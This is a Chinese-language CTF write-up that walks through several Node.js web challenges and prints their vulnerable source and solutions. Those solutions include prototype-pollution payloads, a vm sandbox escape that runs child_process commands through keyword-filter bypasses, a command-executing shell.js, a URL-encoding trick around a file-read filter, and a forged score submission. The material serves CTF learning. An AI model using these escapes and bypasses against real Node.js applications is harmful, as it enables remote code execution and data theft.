几道JS题
参考文章
2024VCTF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 const express = require ('express' )const fs = require ('fs' )var bodyParser = require ('body-parser' );const app = express () app.use (bodyParser.urlencoded ({ extended : true })); app.use (bodyParser.json ()); app.post ('/plz' , (req, res ) => { venom = req.body .venom if (Object .keys (venom).length < 3 && venom.welcome == 159753 ) { try { if (venom.hasOwnProperty ("text" )){ res.send (venom.text ) }else { res.send ("no text detected" ) } } catch { if (venom.text =="flag" ) { let flag=fs.readFileSync ("/flag" ); res.send ("Congratulations:" +flag); } else { res.end ("Nothing here!" ) } } } else { res.end ("happy game" ); } }) app.get ('/' ,function (req, res, next ) { res.send ('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ' ); }); app.listen (80 , () => { console .log (`listening at port 80` ) })
限制了venom对象的属性个数少于3,并且welcome属性是否等于159753。想拿flag还需venom.text==”flag”的同时抛出一个异常。
属性个数可以利用原型链污染绕过,接下来考虑如何令venom.hasOwnProperty(“text”)抛出异常:
venom[hasOwnProperty]=Jay17:这部分将venom对象的hasOwnProperty属性设置为1。正常情况下,hasOwnProperty是一个继承自Object.prototype的方法,用于检查对象是否拥有特定的自有属性。通过将它设置为一个字符串,venom.hasOwnProperty(“text”)的调用将会失败,因为hasOwnProperty已不再是一个函数。所以进入catch块
payload:
1 venom=159753&venom=flag&venom=1
NKCTF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();const fs = require ("fs" );const path = require ('path' );const vm = require ("vm" ); app .use (bodyParser.json ()) .set ('views' , path.join (__dirname, 'views' )) .use (express.static (path.join (__dirname, '/public' ))) app.get ('/' , function (req, res ){ res.sendFile (__dirname + '/public/home.html' ); })function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)){ throw new Error ("what can I say? hacker out!!" ); } } app.post ('/' , function (req, res ){ let code = req.body .code ; let sandbox = Object .create (null ); let context = vm.createContext (sandbox); try { waf (code) let result = vm.runInContext (code, context); console .log (result); } catch (e){ console .log (e.message ); require ('./hack' ); } }) app.get ('/secret' , function (req, res ){ if (process.__filename == null ) { let content = fs.readFileSync (__filename, "utf-8" ); return res.send (content); } else { let content = fs.readFileSync (process.__filename , "utf-8" ); return res.send (content); } }) app.listen (3000 , ()=> { console .log ("listen on 3000" ); })
沙箱逃逸
简单说就是获取一个沙箱外的对象然后调用constructor
属性进而执行命令。这题是vm
不涉及vm2
沙箱逃逸。
/
路由存在Runincontext
(注意Object.create(null)
,相当于没有this关键字。但根据上面的文章我们知道还可以利用arguments.callee.caller
返回沙箱外的一个对象)。可以在沙箱中执行经过waf
检测后的代码:
1 2 3 4 5 6 function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)){ throw new Error ("what can I say? hacker out!!" ); } }
没有可以用来进行恶意重写的函数(用Proxy
来劫持属性)
先写个如果没有waf的EXP:
1 2 3 4 5 6 7 8 9 ` throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('ls').toString(); } }) ` ;
但注意这里process和exec
被过滤了,当时想了很久要怎么绕过,看了这篇文章(但是当时不知道怎么套进去):
js绕过
网上看的其它师傅的写法:
1 2 3 4 5 6 7 8 9 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return procBess' .replace('B' ,'' ) ))(); const obj = p.mainModule .require ('child_procBess' .replace ('B' ,'' )); const ex = Object .getOwnPropertyDescriptor (obj, 'exeicSync' .replace ('i' ,'' )); return ex.value ('whoami' ).toString (); } })
还有其它方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const aa = 'return Process' .toLowerCase (); const bb = 'child_pRocess' .toLowerCase (); const p = (cc.constructor .constructor (aa ))().mainModule .require (bb); return Reflect .get (Reflect .get (p, Reflect .ownKeys (p).find (x => x.startsWith ('ex' )))('ls' )); } })
还有其它解法:参考文章
js
这种语言太灵活了
唉,学
官方wp
:(原型链污染+沙箱逃逸):
首先process.__filename
这东西存在原型链污染(和沙箱逃逸配合):
1 2 3 4 5 6 7 8 9 10 11 12 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; cc.__proto__ .__proto__ .__filename = "/app/hack.js" ; } }) console .log ('shell.js' );console .log ("shell" );const p = require ('child_process' ); p.execSync (process.env .command );
然后就是一个[require任意文件包含](Node.js require () RCE 复现 | Jiekang Hu’s Blog (hujiekang.top) )
[GFCTF2024]cool_index 贴些关键代码,主要逻辑就是注册时输入用户名和注册码,后端会进行校验,如果注册码等于特定值就会给premium
身份,否则就是guest
身份。premium
用户能看flag
贴些关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 app.post ("/register" , (req, res ) => { const { username, voucher } = req.body ; if (typeof username === "string" && (!voucher || typeof voucher === "string" )) { const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest" ); if (voucher && subscription === "guest" ) { return res.status (400 ).json ({ message : "邀请码无效" }); } const userToken = jwt.sign ({ username, subscription }, JWT_SECRET , { expiresIn : "1d" , }); res.cookie ("token" , userToken, { httpOnly : true }); return res.json ({ message : "注册成功" , subscription }); } return res.status (400 ).json ({ message : "用户名或邀请码无效" }); }); app.post ("/article" , (req, res ) => { const token = req.cookies .token ; if (token) { try { const decoded = jwt.verify (token, JWT_SECRET ); let index = req.body .index ; if (req.body .index < 0 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7 ) { return res .status (403 ) .json ({ message : "订阅高级会员以解锁" }); } index = parseInt (index); if (Number .isNaN (index) || index > articles.length - 1 ) { return res.status (400 ).json ({ message : "你知道我要说什么" }); } return res.json (articles[index]); } catch (error) { res.clearCookie ("token" ); return res.status (403 ).json ({ message : "重新登录罢" }); } } else { return res.status (403 ).json ({ message : "未登录" }); }
premium
判断逻辑:
1 voucher === FLAG + JWT_SECRET
这个感觉没啥利用点,如果我都知道FLAG了还去弄它干啥。。猜测是某种方式读JWT_SECRET
然后进行伪造。
后面看了wp
,这里直接传{"index":"7+1"}
就行。。唉
这么传可以绕过第一个if
的判断:
1 2 3 4 5 6 7 index = "7+1" ;if (index >= 7 ) { console .log ("大于或等于7!!" ) } index = parseInt (index);console .log (index)
然后会进第二个if
,满足index
不大于7
,输出flag
。
后面看了官方wp
,还有其它解法,这里直接复制粘贴了:
原本parseInt()
接收字符串参数并转为整形数据类型,但如果目标是 Node 中的big int
,转换时会造成精度损失,但能绕过正常的大小比较。
在 Node.js 中,BigInt
是一种数据类型,用于表示大整数,即超出 JavaScript 原生 Number
类型范围的整数值。JavaScript 中的普通 Number
类型有一个有限的范围,超出这个范围的整数值无法精确表示,会导致精度丢失或溢出。
BigInt
类型通过在整数值后面添加 n
后缀来表示,例如 1234567890123456789012345678901234567890n
。它允许表示的整数范围比 Number
类型更大,因此在需要处理非常大的整数时非常有用。
或者:数字分隔符也可以绕过大小比较。
cbshop 这题写的不太好,移步:参考文章
主要看app.js
,放一些比较关键的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 const adminUser = { username : "admin" , password : "😀admin😀" , money : 9999 }; if (username === adminUser.username && password === adminUser.password .substring (1 ,6 )) { req.session .username = username; req.session .money = adminUser.money ; return res.json ({ code : 1 , username : username, money : req.session .money , msg : 'admin login success!' }); }function buyApi (user, product ) { let order = {}; if (!order[user.username ]) { order[user.username ] = {}; } Object .assign (order[user.username ], product); if (product.id === 1 ) { if (user.money >= 10 ) { user.money -= 10 ; Object .assign (order, { msg : fs.readFileSync ('/fakeFlag' ).toString () }); }else { Object .assign (order,{ msg : "you don't have enough money!" }); } }else if (product.id === 2 ) { if (user.money >= 11 && user.token ) { if (JSON .stringify (product).includes ("flag" )) { Object .assign (order,{ msg : "hint: go to 'readFileSync'!!!!" }); }else { user.money -= 11 ; Object .assign (order,{ msg : fs.readFileSync (product.name ).toString () }); } }else { Object .assign (order,{ msg : "nononono!" }); } }else { Object .assign (order,{ code : 0 , msg : "no such product!" }); } Object .assign (order, { username : user.username , code : 3 , money : user.money }); return order; }function buy (product ) { fetch ('/buy' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ 'name' : '/' + product.name , 'id' : Number (product.getAttribute ('idNum' )) }) }) .then (response => response.json ()) .then (data => displayChange (data)); }
商店类型题目,大致逻辑就是得以admin
用户的身份登录(给了adminUser
对象),admin
的money
是9999
。先看怎么才能获得admin
这个身份:
1 2 3 if (username === adminUser.username && password === adminUser.password .substring (1 ,6 )) { req.session .username = username; req.session .money = adminUser.money ;
结合const adminUser
,把😀admin😀
截取一下,直接在控制台上运行:
console.log("😀admin😀".substring(1,6))
成功登录:
然后就是buyApi
下buyflag
的逻辑:
首先得满足if(user.money >= 11 && user.token)
,这里money肯定是足够的。注意这个user.token
:
user
变量只定义了username
和money
属性,直接在请求体里加token:true
并不满足要求:
那怎么样才能使user.token
为True
呢?这里想到可以去用原型链污染直接“变”出一个token
来。虽然user
变脸不存在token
属性,但js
使用原型继承,对象可以通过原型链继承属性和方法。user
如果没有token这个属性它会往上找。
但如何进行原型链污染?
原型链污染比较常见的函数有merge
,copy
,比如merge(aa,bb)
这种。但这题没出现这俩函数,不过有这么个东西:
令order
为空对象,然后进行assign(order[user.username], product)
这么个类似merge的操作。
看下它的定义:
然后/buy
路由下定义了order=buyApi(user,req.body)
。现在的思路就是令user.username
为__proto__
然后请求体里放个"token":true
就行。assign
完了就行Order.__proto__
下存在token:true
。(user
和 order
的原型都是 Object
。)
这里可以建个用户名为__proto__
的然后进/buy
路由触发,也能通过/changeUsername
的路由改amdin的用户名然后触发:
然后就能进下一个if
了:
看下逻辑:
判断请求体里有没有flag字段,不存在才会对product.name
进行文件读取。现在的问题是我们需要绕过这个flag
关键字的判断。
参考文章
readFileSync
这个原生函数其实是可以传入一个URL对象的,URL对象会自动URL解码,这样就可以通过URL编码绕过waf了。但注意不能仅仅把req.body
里name
字段的值URL编码,这里要传过去一个URL对象:
1 console .log (new URL ('file:///fl%61g' ));
把这个东西整体给name字段就行,不过不知道为啥我看其他人写的wp交这个可以我的就不行。。
只有删掉一些字段后才正常:
1 2 3 4 5 6 7 8 "name" : { "href" : "a" , "origin" : "b" , "pathname" : "/fl%61g" , "protocol" : "file:" , "hostname" : "" }
dino3d 前端小游戏,够1000000分给flag。
他这个游戏结束会发个数据包出去,但没法直接改,存在checkcode
验证(注意这个check.php
没法直接访问):
然后view-source
直接在那一堆js
文件里嗯搜带check.php
的内容:
整理下这段js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function sn (e, t ) { if (e && t) { fetch ("/check.php" , { method : "POST" , headers : { "Content-type" : "application/x-www-form-urlencoded; charset=UTF-8" }, body : "score=" + parseInt (e).toString () + "&checkCode=" + md5 (parseInt (e).toString () + t) + "&tm=" + (+new Date ).toString ().substring (0 , 10 ) }) .then (e => e.text ()) .then (e => alert (e)); } }
定义了函数sn
,这个e
可以猜到应该是分数,但t
是什么不知道,继续搜是否有其它地方调用了这个sn
函数:
1 2 3 4 5 return game.sn (score.score ,checkCode)var checkCode="DASxCBCTF" +saltvar salt="_wElc03e"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsfrom hashlib import md5import time url = "http://node5.buuoj.cn:26373/check.php" headers = { "Content-type" : "application/x-www-form-urlencoded; charset=UTF-8" } body = { "score" : "10000000" , "checkCode" : md5("10000000DASxCBCTF_wElc03e" .encode()).hexdigest(), "tm" : str ((time.time()))[:10 ] } res = requests.post(url, headers=headers, data=body)print (res.text)
或者直接在控制台打:
1 2 var s = "DASxCBCTF_wElc03e" ;console .log (game.sn(10000000 , s));
参考文章
不过这两种方法我都没成功。。明明照着wp写的😵
CTFSHOW766 /source
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 const createError = require ('http-errors' );const express = require ('express' );const http = require ('http' );const path = require ('path' );const cookieParser = require ('cookie-parser' );const logger = require ('morgan' );const fs = require ("fs" );const crypto = require ('crypto' );const app = express ();const flag = fs.readFileSync ('/flag' , "utf-8" );let session = require ('express-session' );let FileStore = require ('session-file-store' )(session);let identityKey = 'session' ; app.use (session ({ name : identityKey, secret : crypto.randomBytes (32 ).toString ('hex' ), store : new FileStore (), saveUninitialized : false , resave : false , cookie : { maxAge : 1000 * 60 * 600 } })); app.use (logger ('dev' )); app.use (express.json ()); app.use (express.urlencoded ({extended : false })); app.use (cookieParser ()); app.use (express.static (path.join (__dirname, 'public' ))); app.all ('*' , function (req, res, next ) { if (req.session .username === undefined ) { req.session .username = "guest" ; req.session .is_verified = false ; } next (); }); app.get ('/' , function (req, res, next ) { res.render ('index' , {title : 'Node Proxy' , username : req.session .username }); }); app.get ('/test' , function (req, res, next ) { res.send ('test test' ); }); app.get ('/source' , function (req, res ) { res.sendFile (path.join (__dirname + '/app.js' )); }); app.post ('/register' , function (req, res ) { if (req.body .username !== undefined ) { req.session .username = req.body .username ; req.session .is_verified = false ; res.render ('message' , {message : 'You have registered successfully!' }); } else { res.render ('message' , {message : 'No username provided!' }); } }); app.post ('/verify' , function (req, res ) { if (checkIP (req) !== true ) { return res.status (403 ).render ('message' , {message : 'You are not from LOCAL!' }); } let token = req.body .token ; if (token === 'you_will_never_know' && req.session .username !== 'admin' ) { req.session .is_verified = true ; res.render ('message' , {message : 'VERIFIED SUCCESS!' }); } else { res.render ('message' , {message : 'NO!' }); } }); app.get ('/flag' , function (req, res ) { if (req.session .is_verified !== true ) { res.render ('message' , {message : 'NO! Your are not verified!' }); } else if (req.session .username == 'admin' ) { res.render ('message' , {message : flag}); } else { res.render ('message' , {message : 'NO! Your are not admin!' }); } }); app.get ('/proxy' , function (req, res ) { let url = req.query .url ? req.query .url : '' ; if (url) { try { http.get (url, (r ) => { const {statusCode} = r; if (r && statusCode === 200 ) { r.setEncoding ('utf8' ); let data = '' ; r.on ('data' , (chunk ) => { data += chunk; }); r.on ('end' , () => { res.send (data); }); } else { res.render ('message' , {message : 'error' }); } }).on ('error' , (e ) => { if (e.code === "ECONNRESET" ) { res.send ("Timeout occurs" ); } else { res.render ('message' , {message : e.message }); } }); } catch (error) { res.render ('message' , {message : 'error' }); } } else { res.render ('message' , {message : 'Missing url param!' }); } }); app.use (function (req, res, next ) { next (createError (404 )); }); app.use (function (err, req, res, next ) { console .log (err) res.locals .message = err.message ; res.locals .error = req.app .get ('env' ) === 'development' ? err : {}; res.status (err.status || 500 ); res.render ('error' ); });function checkIP (req ) { let ip = req.connection .remoteAddress ; if (ip.substr (0 , 7 ) === "::ffff:" ) { ip = ip.substr (7 ) } return ip === '127.0.0.1' ; }module .exports = app;